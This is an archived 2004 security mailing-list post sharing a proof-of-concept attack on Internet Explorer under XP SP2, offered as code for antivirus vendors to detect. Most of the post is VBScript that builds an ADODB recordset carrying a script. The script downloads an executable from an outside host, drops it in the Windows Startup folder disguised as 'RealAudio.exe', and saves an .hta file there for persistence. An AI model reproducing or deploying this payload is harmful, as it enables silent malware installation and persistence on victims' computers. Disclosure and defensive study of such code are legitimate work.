OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
[VulnDiscuss] Re: YET AGAIN Automatic remote compromise of Internet Explorer Service Pack 2 XP SP2

From: Michael Evanchik (MikeMichaelEvanchik.com)
Date: Mon Dec 27 2004 - 00:53:13 CST

PoC: http://www.michaelevanchik.com/security/microsoft/ie/xss/index.html

Here is some new adodb code AVP's should add. No longer needed to connect to external source. Malicious recordset can be built locally.

on error resume next
set evanchik = CreateObject("ADODB.Recordset")
   With objRS
       .Fields.Append "evanchik", 200, "3000"
       Call .Open
       Call .AddNew
       .Fields("evanchik").Value = "meaning less shit i had to put here"
       Call .AddNew
       .Fields("evanchik").Value = "<script language=vbscript>: on error resume next : set o = CreateObject(""msxml2.XMLHTTP"") : o.open ""GET"",""http://hometown.aol.com/mcbain/calc.exe"",False : o.send : set s = createobject(""adodb.stream"") : s.type=1 : s.open : s.write o.responseBody : s.savetofile ""C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RealAudio.exe"",2 : </script>"
       Call .Update
   End With
evanchik.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Microsoft Office.hta", adPersistXML

evanchik.Close